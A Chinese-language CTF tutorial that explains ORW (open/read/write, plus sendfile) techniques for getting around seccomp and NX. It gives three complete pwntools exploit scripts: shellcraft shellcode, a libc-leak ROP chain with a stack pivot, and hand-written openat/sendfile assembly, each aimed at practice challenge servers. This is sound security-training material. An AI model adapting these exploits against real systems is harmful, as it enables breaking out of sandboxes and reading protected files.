orw基础 orw是open、read和write三个系统调用的缩写。orw 攻击是一种绕过沙箱(Sandbox)或NX保护的技术,其核心思想是:不直接获取shell,而是通过这三个系统调用来读取目标文件(通常是flag文件),然后将其内容打印到标准输出,从而获得flag。
传统的缓冲区溢出攻击通常会尝试注入一段 shellcode,这段 shellcode 的作用是执行 execve(“/bin/sh”, NULL, NULL) 来获取一个交互式 shell。然而,在以下两种情况下,这种传统攻击会失败:
NX(No-eXecute)保护:如果程序的栈是不可执行的,你注入的 shellcode 无法在栈上运行。
seccomp 沙箱:一些程序会使用 seccomp(安全计算模式)来限制进程可以调用的系统调用。如果 execve 被禁用,即使你成功注入了 shellcode,它也无法执行。
1 open(const char *pathname, int flags,mode_t mode);
pathname → 文件路径地址(放在 RDI)
flags → 打开方式,比如 0 表示 O_RDONLY(放在 RSI)
mode → 一般读文件不用,默认即可(放在 RDX)
1 int openat(int dirfd, const char *pathname, int flags, mode_t mode);
dirfd (目录文件描述符)
pathname (文件路径)
flags (打开方式,O_RDONLY / O_WRONLY 等)
mode (创建文件时的权限位,open 时可能不用)
1 2 ssize_t read(int fd, void *buf, size_t count); ssize_t write(int fd, const void *buf, size_t count);
fd → 文件描述符,比如 open("/flag") 的返回值 3(放在 RDI )
buf → 存放/要写 数据的缓冲区地址(放在 RSI )
count → 读取/输出 的字节数(放在 RDX )
具体的泄露有两种方法,一种是ret2syscall,用题目自己的指令去操作
还有就是shellcraft,但是它的要求会更高,因为其本质就是 shellcode,使用它要求目标内存区域必须 可写可执行 (W+X)
还有一个sendfile函数,兼具了ORW中read和write的功能!
1 ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);
out_fd 输出文件描述符,通常是 socket (例如客户端连接的套接字)。
in_fd 输入文件描述符,通常是 打开的文件 。
offset 输入文件的偏移量指针。
如果为 NULL,则使用 in_fd 当前的文件偏移量,并自动更新。
如果不为 NULL,则从指定偏移量开始读文件,但不会修改 in_fd 的偏移量。
count 希望传输的字节数。
例题 基础
这个就是典型的orw
用
1 seccomp-tools dump ./orw #查看允许的函数调用
脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import * r = remote('node5.buuoj.cn',29475) context.log_level = 'debug' elf = ELF('orw') shellcode = shellcraft.open('/flag') shellcode += shellcraft.read('eax','esp',100) shellcode += shellcraft.write(1,'esp',100) shellcode = asm(shellcode) r.sendline(shellcode) r.interactive()
[HGAME 2023 week1]orw 题目
可以看到禁了execve和execveat
思路:先泄露libc基地址,(可以看到read读入的数量比较大,所以可以把泄露puts的写入rop链后面)
之后lea把read的读入位置劫持道我们对应的bss位置,之后在这里放入orw的绕过,最后leave跳转过去让它执行就可以了
脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 from pwn import * import sys from LibcSearcher import * file_path = "./vuln" remote_host = "node5.anna.nssctf.cn" remote_port = 25492 libc=ELF("./libc-2.31.so") context(arch='amd64', os='linux', log_level='debug') elf = ELF(file_path) if 're' in sys.argv: p = remote(remote_host, remote_port) else: p = process(file_path) # gdb.attach(p, "b*0x4012EE") def sla(a, b): p.sendlineafter(a, b) def ru(a): p.recvuntil(a) def sa(a, b): p.sendafter(a, b) puts_got=elf.got["puts"] puts_plt=elf.plt["puts"] lea=0x4012CF ret=0x4012EF rdi=0x401393 bss=0x404300 rbp=0x40117d main=0x4012F0 leave=0x4012EE pay=b"a"*0x108+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main) sa(b"Maybe you can learn something about seccomp, before you try to solve this task.\n", pay) puts=u64(p.recvuntil(b"\x7f")[-6:]+b"\x00\x00") print(b"puts==========================="+hex(puts).encode()) libc_base=puts-libc.sym["puts"] rdx = libc_base + 0x142c92 rsi = libc_base + 0x2601f open=libc_base+libc.sym["open"] read=libc_base+libc.sym["read"] write=libc_base+libc.sym["write"] pay=b"a"*0x100+p64(bss+0x400)+p64(lea) p.recvuntil('Maybe you can learn something about seccomp, before you try to solve this task.') p.send(pay) pause() pay=b"/flag\x00\x00\x00" pay+=p64(rdi)+p64(bss+0x300)+p64(rsi)+p64(0)+p64(open) pay+=p64(rdi)+p64(3)+p64(rsi)+p64(bss+0x300)+p64(rdx)+p64(0x100)+p64(read) pay+=p64(rdi)+p64(1)+p64(rsi)+p64(bss+0x300)+p64(rdx)+p64(0x100)+p64(write) pay=pay.ljust(0x100,b'\x00')+p64(bss+0x300)+p64(leave) p.send(pay) p.interactive()
XYCTF orw
rsp只想一个新的栈空间,而且这个地方是由rdi控制的,我们构造的rop链无法使用,所以只能自己手搓汇编
果然汇编代码才是一切的基础:candle:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import * context(log_level='debug', arch = "amd64",os= 'linux',terminal = ['tmux','splitw','-h']) p = process('./vuln') #p = remote("xyctf.top",60030 ) libc =ELF("./libc.so.6") elf = ELF('./vuln') def convert_str_asmencode(content: str): out = "" for i in content: out = hex(ord(i))[2:] + out out = "0x" + out return out #将str转换为十六进制数,并在开头补上"0x" if p.recvline()==b'show your magic again\n': shellcode=f""" xor rsi,rsi; mov rbx,{convert_str_asmencode("/flag")}; push rbx; mov rdx,0; #设置oflag为0 mov r10,0; mov rdi,3; #文件描述符3 mov rsi,rsp mov eax,257; #openat的系统调用号 syscall; mov rsi,3; #in_fd mov r10,50; #n_bytes xor rdx,rdx; mov rdi,rdx; inc rdi; #out_fd mov eax,40; #sendfile的系统调用号 syscall; mov rdi,0; mov rax,60; #exit syscall """ payload1 =asm(shellcode) p.send(payload1) p.interactive()
本篇参考了师傅Dusk 的博客